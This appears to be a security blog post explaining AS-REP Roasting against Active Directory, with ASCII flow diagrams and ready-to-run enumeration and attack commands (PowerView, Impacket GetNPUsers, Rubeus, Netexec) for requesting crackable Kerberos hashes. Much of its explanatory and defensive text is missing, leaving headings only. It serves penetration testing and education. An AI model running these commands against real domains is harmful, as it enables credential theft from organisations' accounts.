Understanding AS-REP Roasting Attacks: A Deep Dive

Nov 15, 2024    #windows   #active-directory   #asreproasting   #kerberos  

Understanding AS-REP Roasting:

General Overview and Attack Flow:

Attack Process

Attack Flow Diagram

    [Attacker]                         [Domain Controller/KDC]                [Target User]
        |                                       |                                 |
        |   1. AS-REQ                           |                                 |
        |   (without Pre-Authentication)        |                                 |
        |-------------------------------------→ |                                 |
        |                                       |                                 |
        |                                       | 2. Checks if DONT_REQ_PREAUTH   |
        |                                       | is set for requested user       |
        |                                       |                                 |
        |   3. AS-REP                           |                                 |
        |   (contains encrypted TGT)            |                                 |
        | ←-------------------------------------|                                 |
        |                                       |                                 |
        | 4. Offline Password                   |                                 |
        |    Cracking Attempt                   |                                 |
        |                                       |                                 |
        |                                       |                                 |
    [Success = Compromised Credentials]         |                                 |

+Key Points+:

Pre-Authentication Process:

Without Pre-Authentication (how ASREPRoasting works):

        [Attacker]                          [KDC]
            |                                 |
            |  1. AS-REQ                      |
            |  (No Pre-Auth Required)         |
            |-------------------------------->|
            |                                 |
            |            2. No Verification   |
            |               Needed            |
            |                                 |
            |  3. AS-REP                      |
            |  (Encrypted TGT + Data)         |
            |<--------------------------------|
            |                                 |
            |  4. Offline Cracking            |
            |     Begins                      |
            |                                 |

Detection and Defense:

Detection Methods

Mitigation Strategies:

Defense in Depth Strategies:

Network Segmentation:

Monitoring and Alerting:

Active Directory Hardening:

Common Misconfigurations in AD Environments that can lead to AS-REP Roasting:

All of the below should be looked out for in your environments.

AS-REP-Roasting Enumeration Tools:

Using PowerView to Enumerate users susceptible to AS-REP Roasting:

Get-DomainUser -KerberosPreauthNotRequired -Properties samaccountname,useraccountcontrol,memberof

Using PowerShell to Enumerate users susceptible to AS-REP Roasting:

(New-Object DirectoryServices.DirectorySearcher "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))").FindAll() | ForEach-Object { $_.Properties | Select-Object @{n='sAMAccountName';e={$_['sAMAccountName'][0]}}, @{n='displayName';e={$_['displayName'][0]}} }

Using PowerShell & AD Module to Enumerate users susceptible to AS-REP Roasting:

# Shows all details for User Account
Get-ADUser -Filter {DoesNotRequirePreAuth -eq 'True'} | fl

# Provides just the name
Get-ADUser -filter {DoesNotRequirePreAuth -eq 'True'} | select name
Get-ADObject -LdapFilter  "(&(&(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))))"

AS-REP Roasting +Attack+ Tools:

Using Impacket-GetNPUsers for AS-REP Roasting Attack:

# General command to find AS-REP roastable accounts
impacket-GetNPUsers $domain/ -request -format hashcat -outputfile hashes.txt

# With a specified users file and domain controller IP
GetNPUsers.py [DOMAIN]/ -dc-ip [DC_IP] -usersfile [UserFile] -format hashcat -outputfile hashes.txt -no-pass

# Example usage
GetNPUsers.py SUGARAPE/ -dc-ip 10.129.205.35 -usersfile /tmp/users.txt -format hashcat -outputfile /tmp/hashes.txt -no-pass

Using Rubeus for AS-REP Roasting Attack:

# Standard Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# If running via download cradle from PowerSharpPack
PowerSharpPack -rubeus -Command "asreproast /format:hashcat /outfile:hashes.txt"

Using Netexec for AS-REP Roasting Attack:

netexec ldap $machine.$domain -u Users.txt -p '' --asreproast asRepTickets.txt

Targeted AS-REPRoasting Attack:

Cracking AS-Rep Tickets

Tool Comparison Matrix

Tool Windows/Linux Auth Required Stealth Level
Rubeus Windows Yes Medium
Impacket Linux No High
PowerView Windows Yes Low
NetExec Both (User list) Medium

Comparison with Other Attack Techniques:

AS-REP Roasting vs Kerberoasting:

AS-REP Roasting vs Password Spraying:

Practice AS-REP Roasting on Hack The Box

The following machines are good for practice AS-REP Roasting:



Next: Understanding PowerShell Download Cradles: A Deep Dive